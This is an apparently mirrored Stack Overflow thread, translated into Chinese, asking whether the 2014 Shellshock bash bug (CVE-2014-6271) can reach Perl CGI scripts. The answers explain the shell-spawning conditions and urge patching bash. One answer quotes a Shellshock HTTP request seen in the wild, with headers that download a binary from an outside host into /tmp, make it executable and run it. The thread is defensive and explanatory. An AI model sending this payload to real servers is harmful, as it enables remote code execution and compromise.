【问题标题】:The bash vulnerability CVE-2014-6271 . Can it affect my CGI perl scripts? How to understand this?bash 漏洞 CVE-2014-6271。它会影响我的 CGI perl 脚本吗?这个怎么理解?
【发布时间】:2014-09-25 11:57:08
【问题描述】:

昨天报告了 CVE-2014-6271 问题,这是 BASH Shellshock 漏洞。 我试图了解它是否会通过我的 Perl CGI 脚本影响我的服务器。

我的代码会受到恶意影响吗?我的代码需要做什么才能受到影响?我应该检查什么来验证这一点?

【问题讨论】:

标签: bash security shellshock-bash-bug


【解决方案1】:

是的,如果你的 CGI 脚本产生子 shell,它会影响 Perl,例如,使用 system()open() 函数或反引号。见this excellent Red Hat blog post。请注意,该博客文章在任何重要方面都不是 Red Hat 特定的。

检查您的 Perl CGI 脚本以获取这些功能,但首先将 BASH 升级到固定版本!

【讨论】:

  • ...好吧,如果你的/bin/sh是bash。如果主机是 Debian 或 Ubuntu,其中/bin/sh 是破折号,那么system() 是安全的。
  • @CharlesDuffy ,system() 使用 /bin/sh 是正确的,如果这不指向 bash,那么 bash 错误不会影响它。但是,我的主要观点是优先更新 bash,而不是试图找出程序是否易受攻击。
  • 实际上,鉴于最近的事态发展,至少在事情稳定下来之前,为/bin/sh 使用除 bash 之外的其他东西可能是个好主意。好电话@CharlesDuffy。
【解决方案2】:

您可以尝试将特制的字符串设置到 HTTP 服务器 als Referrer、Cookie、Host 或 Accept 标头,然后将其传递给 (bash) CGI 脚本:

GET./.HTTP/1.0 .User-Agent:.Thanks-Rob .Cookie:().{.:;.};.wget.-O./tmp/besh.http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh; .Host:().{.:;.};.wget.-O./tmp/besh.http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh; .Referer:().{.:;.};.wget.-O./tmp/besh.http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh; .Accept:./

https://gist.github.com/anonymous/929d622f3b36b00c0be1 视为在野外发现的恶意软件的真实示例。

如果您的 Perl 脚本不调用 bash(通过使用 systemopen),您应该是安全的。

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/

【讨论】:

  • 但是 CGI 脚本是否必须对受影响的标头执行某些操作?什么是条件? CGI perl 脚本必须做什么才能出现问题?
  • 我扩展了答案。如果您使用 bash,则无需对标头进行任何操作;当网络服务器将它们传递给 bash 脚本时,如果 bash 尚未修补,它们就会“激活”。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2014-05-21
  • 2022-01-15
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2011-05-18
相关资源
最近更新 更多